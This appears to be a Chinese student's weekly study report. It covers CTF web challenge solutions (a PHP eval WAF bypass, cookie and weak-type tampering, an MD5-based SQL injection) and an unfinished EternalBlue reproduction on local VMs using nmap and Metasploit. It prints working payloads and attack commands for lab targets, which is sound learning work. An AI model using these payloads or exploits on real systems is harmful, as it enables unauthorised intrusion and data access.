计科 234 徐潘第 6 周周报

这周一开始我就要上党课了，每天晚上 2 小时，而且我们马上要到考试周了我也要分出点时间去复习专业课，所以这周没有去大量训练 CTF，主要还是接着上周学习 Web 开发技术，然后也写了几道 CTF 但是不多，周末实验室又通知了搞那个永恒之蓝的漏洞复现，不过截止到现在我写报告的时候还是没有实现成功，大致就做了这些。

1. CTF 题目

下面时我做的几道 CTF 的解题流程：

```
#**[RoarCTF 2019]Easy Calc 1**


启动靶机，网页是一个简单计算器，有一个文本输入框

但是当输入特殊符号时，网页会报错，根据题目名称可知网页存在 Web 防火墙 waf

查看网站源码，发现存在一个 calc.php 文件，根据提示知道该文件就是 waf

访问 calc.php：
```

```
```shell
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
```
```

```
可以看到 waf 设置了一个黑名单检测，过滤了特殊符号，如果输入的字符串中没有黑名单上的字符，则执行 eval 输出

PHP 会将查询字符串通过 get 或 post 方法接收参数并转换为内部关联数组$_GET 或关联数组$_POST，所以传参时会将所有参数转换为有效的变量名，在解析查询字符串的时候会执行以下操作：

1.删除前后的空白符（空格符，制表符，换行符等）

2.将某些字符转换为下划线（包括空格）
```

由于参数 num 被过滤，根据 php 解析规则，可以将“num”写为“ num”，这样在过滤时不会检测 num，而在 php 解析时" num"和"num"无区别，这样就可以传入查寻字符串了

可以通过 scandir("/")来扫描网站整个根目录，scandir()函数是 php 的一个内置函数，用于返回指定目录的文件和目录数组。scandir()函数列出了指定路径中存在的文件和目录。

但是 waf 过滤了字符"/"，因此需要使用"/"符号的 ASCII 来替换，绕过过滤：num=scandir(chr(47))

又由于 scandir("/")扫描后是以数组的形式输出，所以用 var_dump() 或者 print_r()来对内容进行输出

综上，构造 payload：

```shell
http://node5.buuoj.cn:26942/calc.php? num=var_dump(scandir(chr(47)))
```

访问后，从结果中发现一个叫做“f1agg”的文件，可以知道我们想要的 flag 就在该文件中

可以使用 file_get_contents()函数来获取该文件内容，file_get_contents()函数是 php 的一个内置函数，用于以字符串的形式获取指定文件的内容。使用该函数可以读取本地的文件、远程文件和 HTTP 请求的响应等内容

构造 payload：

```shell
http://node5.buuoj.cn:26942/calc.php? num=var_dump(file_get_contents(chr(47).f1agg))
```

从返回结果得到 flag：

flag{59d5a2f5-5456-4f27-99f2-a602eed4f95e}

#**[极客大挑战 2019]BuyFlag 1**

启动靶机，在网页上没有找到有用的信息，查看源码发现了一个 pay.php 文件和题目名称有关联，访问这个文件

返回结果提示：

Flag need your 100000000 money

If you want to buy the FLAG:

You must be a student from CUIT!!!

You must be answer the correct password!!!

提示首先要证明我是来自 CUIT 的 student，然后回复正确的密码，最后支付 100000000 获取 flag

查看这个页面的源码，发现这段代码：

```shell
<!--
    ~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
```

```
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}
-->
```

可见网页是通过 POST 包请求访问的，那么可以想到通过篡改 POST 包的信息通过检测

由于在 if 语句使用了 is_numeric()函数判断了 password 是否是数字，因此 password 不能是数字，用弱类型比较让 password=404a 即可

这里需要用到 hackbar 和 BP 配合向网页发送 POST 包

打开 BP 拦截抓包，使用 hackbar 编辑 POST 包，使 password=404a，money=100000000:

```shell
http://43b77e01-d3d8-4696-a439-97312167c1ed.node5.buuoj.cn:81/pay.php
password=404a&money=100000000
```

发送 POST 包，发现有一个 Cookie: user=0，可见这就是判断用户的 student 身份，修改其等于 1:

```shell
POST /pay.php HTTP/1.1
Host: 43b77e01-d3d8-4696-a439-97312167c1ed.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://43b77e01-d3d8-4696-a439-97312167c1ed.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://43b77e01-d3d8-4696-a439-97312167c1ed.node5.buuoj.cn:81/pay.php
Cookie: user=1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=404a&money=100000000
```

返回：

```
you are Cuiter
Password Right!
```

Nember lenth is too long

password 和 student 身份都验证通过了，但报错 money 的数值长度太长，那么使用科学计数法令 money 等于 1e9

在返回结果中得到 flag：

flag{bed41c3a-e233-463d-9549-22df03d3866c}

#**[BJDCTF2020]Easy MD5 1**

启动靶机，网页有一个文本输入框和一个提交查询按钮，在网页和源码上都没有找到什么有用的突破口

那么打开 BP，刷新网页抓个包，在响应包中发现：

```shell
HTTP/1.1 200 OK
Server: openresty
Date: Thu, 24 Apr 2025 08:31:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.13
hint: select * from 'admin' where password=md5($pass,true)
Cache-Control: no-cache
Content-Length: 3107
```

根据 select 语句提示，需要在网页输入字符，经 MD5 加密后进行 SQL 注入

mysql 在进行布尔值判断时，会将数字开头的字符串转换为整型，经过查阅资料发现一个字符串“ffifdyop”，该字符串经 MD5 编码后为：

'or'6XXXXXX

6 后面跟了一堆不知名的字符（这里用 X 代替了），不过在加入 SQL 语句后提交 mysql 后会被解释为

select * from 'admin' where password='' or 6

这样就可以成功绕过，提交给网页：

```shell
http://bbd9d191-c850-4c58-a287-5578daac4907.node5.buuoj.cn:81/leveldo4.php?password=ffifdyop
```

进入了一个新网页，查看该网页源码，发现：

```shell
<!--
$a = $GET['a'];
$b = $_GET['b'];
```

```
if($a != $b && md5($a) == md5($b)){
```

```
    // wow, glzjin wants a girl friend.
-->
```

由这段代码可知，网页通过 GET 方法传参给 a 和 b，当 a 不等于 b 且 MD5 编码后 a 等于 b 时方可通过检测，那么可以想到利用 MD5 的弱类型比较，使用以 0e 开头的科学计数法字符串，使其哈希值相等

在网址上直接使用 GET 方法给 a 和 b 传参

```shell
http://e1a3626d-b96c-4edb-a229-4eb231d1bbe2.node5.buuoj.cn:81/levels91.php?a=s878926199a&b=s155964671a
```

切换到了下一个页面，页面直接给出了源码：

```shell
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
```

这段代码和上个页面一样，只不过使用了 POST 方法传参给 param1 和 param2，还是使用哈希值相等的两个不同的字符串绕过检测

这里需要用到 hackbar 给网页传 POST 请求：

```shell
http://e1a3626d-b96c-4edb-a229-4eb231d1bbe2.node5.buuoj.cn:81/level114.php
param1[]=s878926199a&param2[]=s155964671a
```

注意这里 param1 和 param2 需要以数组的形式传参，发送 POST 请求返回成功，得到 flag：

flag{1d612959-879a-4ea1-ab83-501a35ef0760}

由于篇幅有限，其它几道比较简单的题就不作讲述了

2. Web 开发技术学习

这周我也是完成了 Web 开发技术的学习，其中 HTML、CSS、JavaScript 我基本都了解了，当然了解归了解，Web 的东西非常琐碎，有许多标签、语法和语句等需要记忆，不过我现在能够看懂一部分网站源码了，以后还是一边做题一边加深记忆

3. 永恒之蓝漏洞复现（未完成）

```
#**漏洞复现—永恒之蓝**


攻击机：kali linux
IP 信息：
```

```shell
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.43.248  netmask 255.255.255.0  broadcast 192.168.43.255
        inet6 2409:8949:1b85:2a4:741c:ee62:4bf6:94c1  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::717f:808c:5d6b:acff  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:4f:0a:5b  txqueuelen 1000  (Ethernet)
        RX packets 24  bytes 2577 (2.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 48  bytes 6504 (6.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8  bytes 480 (480.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8  bytes 480 (480.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

```
靶机：win7 x64
IP 信息：
```

```shell
C:\Users\Administrator\Desktop> ipconfig
```

```
Windows IP 配置
```

```
以太网适配器 Bluetooth 网络连接：
  媒体状态. . . . . : 媒体已断开
  连接特定的 DNS 后缀. . . . . :
以太网适配器  本地连接：
  连接特定的 DNS 后缀. . . . . :
```

```
  IPv6 地址.....: 2409:8949:1b85:2a4:99c:29d0:abd9:1c6d
  临时 IPv6 地址:.....: 2409:8949:1b85:2a4:38fb:ddf1:93e3:a75e
  本地链接 IPv6 地址.....: fe80::99c:29d0:abd9:1c6dz11
  IPv4 地址 . . . . . : 192.168.43.171
  子网掩码 . . . . . : 255.255.255.0
  默认网关.....: fe80::21:71ff: feac:e2a7x11192.168.43.1
```

在 kali 上首先 ping 一下靶机的 IP：

```shell
┌──(root㉿kali)-[~]
└─# ping 192.168.43.171
PING 192.168.43.171 (192.168.43.171) 56(84) bytes of data.
64 bytes from 192.168.43.171: icmp_seq=1 ttl=128 time=2.10 ms
64 bytes from 192.168.43.171: icmp_seq=2 ttl=128 time=0.863 ms
64 bytes from 192.168.43.171: icmp_seq=3 ttl=128 time=0.601 ms
64 bytes from 192.168.43.171: icmp_seq=4 ttl=128 time=0.777 ms
64 bytes from 192.168.43.171: icmp_seq=5 ttl=128 time=1.16 ms
^C
--- 192.168.43.171 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4044ms
rtt min/avg/max/mdev = 0.601/1.099/2.100/0.531 ms
```

可以看到连接成功，注意这里两台虚拟机的网络适配器都要选择桥接模式，否则二者会不在同一局域网导致连接不上

靶机的防火墙也要先关闭，在管理员登录状态下输入命令：

```shell
C:\Users\Administrator\Desktop> netsh firewall set opmode mode=disable
```

在 kali 中先扫描一下靶机开放的端口：

```shell
┌──(root㉿kali)-[~]
└─# nmap -T4 -A -v 192.168.43.171
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-27 05:02 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:02
Completed NSE at 05:02, 0.00s elapsed
Initiating NSE at 05:02
```

```
Completed NSE at 05:02, 0.00s elapsed
Initiating NSE at 05:02
Completed NSE at 05:02, 0.00s elapsed
Initiating ARP Ping Scan at 05:02
Scanning 192.168.43.171 [1 port]
Completed ARP Ping Scan at 05:02, 0.13s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:02
Completed Parallel DNS resolution of 1 host. at 05:02, 0.01s elapsed
Initiating SYN Stealth Scan at 05:02
Scanning WIN-MJCLMTED6MV (192.168.43.171) [1000 ports]
Discovered open port 135/tcp on 192.168.43.171
Discovered open port 3389/tcp on 192.168.43.171
Discovered open port 139/tcp on 192.168.43.171
Discovered open port 49156/tcp on 192.168.43.171
Discovered open port 49153/tcp on 192.168.43.171
Discovered open port 445/tcp on 192.168.43.171  //445 端口开放
Discovered open port 49159/tcp on 192.168.43.171
Discovered open port 49155/tcp on 192.168.43.171
Discovered open port 49152/tcp on 192.168.43.171
Discovered open port 49154/tcp on 192.168.43.171
Completed SYN Stealth Scan at 05:02, 1.42s elapsed (1000 total ports)
Initiating Service scan at 05:02
Scanning 10 services on WIN-MJCLMTED6MV (192.168.43.171)
```

```
```

可以看到执行永恒之蓝所需要的 445 端口是开放的

输入命令“msfconsole”或搜索 msf 工具 metasploit-framework 并打开，搜索针对 windows 系统漏洞的攻击：

```shell
msf6 > search
ms17-010









Matching
Modules



================
```

```
   #   Name                                      Disclosure
Date  Rank    Check  Description

   -   ----                                      ---------------  ----    -----  -----------

   0   exploit/windows/smb/ms17_010_eternalblue      2017-03-14      average  Yes    MS17-010 EternalBlue
SMB Remote Windows Kernel Pool
Corruption

   1     \_ target: Automatic
Target                .              .       .     .

   2     \_ target: Windows
7                     .              .       .     .

   3     \_ target: Windows Embedded Standard
7       .             .       .     .

   4     \_ target: Windows Server 2008
R2           .              .       .     .

   5     \_ target: Windows
8                     .              .       .     .

   6     \_ target: Windows
8.1                   .              .       .     .

   7     \_ target: Windows Server
2012             .              .       .     .

   8     \_ target: Windows 10
Pro                  .              .       .     .
```

```
   9     \_ target: Windows 10 Enterprise
Evaluation  .               .        .      .


   10  exploit/windows/smb/ms17_010_psexec           2017-03-14       normal   Yes    MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code
Execution

   11    \_ target:
Automatic                        .               .        .      .


   12    \_ target:
PowerShell                       .               .        .      .


   13    \_ target: Native
upload                     .               .        .      .


   14    \_ target: MOF
upload                         .               .        .      .


   15    \_ AKA:
ETERNALSYNERGY                       .               .        .      .


   16    \_ AKA:
ETERNALROMANCE                       .               .        .      .


   17    \_ AKA:
ETERNALCHAMPION                      .               .        .      .


   18    \_ AKA:
ETERNALBLUE                          .               .        .      .


   19  auxiliary/admin/smb/ms17_010_command          2017-03-14       normal   No     MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command
```

```
Execution


   20    \_ AKA:
ETERNALSYNERGY                      .               .        .      .



   21    \_ AKA:
ETERNALROMANCE                      .               .        .      .



   22    \_ AKA: ETERNALCHAMPION                     .               .        .      .
   23    \_ AKA: ETERNALBLUE                         .               .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010            .               normal   No     MS17-010 SMB RCE
Detection
   25    \_ AKA: DOUBLEPULSAR                        .               .        .      .
   26    \_ AKA: ETERNALBLUE                         .               .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce      2017-04-14      great    Yes    SMB DOUBLEPULSAR Remote
Code Execution
   28    \_ target: Execute payload (x64)            .               .        .      .
   29    \_ target: Neutralize implant               .               .        .      .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

```

其中有对于 win7 系统的永恒之蓝的攻击“exploit/windows/smb/ms17_010_psexec”,将这个方法复制下来使用:

到这里，我发现永恒之蓝不能攻击成功，然后我查阅资料后有问了问 AI 都没解决，最后问了问实验室群里的大佬，差不多知道是攻击模块和靶机的配置问题，不过具体原因和解决方法还是不知道，没办法，计算机的东西就是有时候莫名其妙，全是人力不能干涉的因素，下周有空在看看，毕竟我现在还有 n 个实验报告没交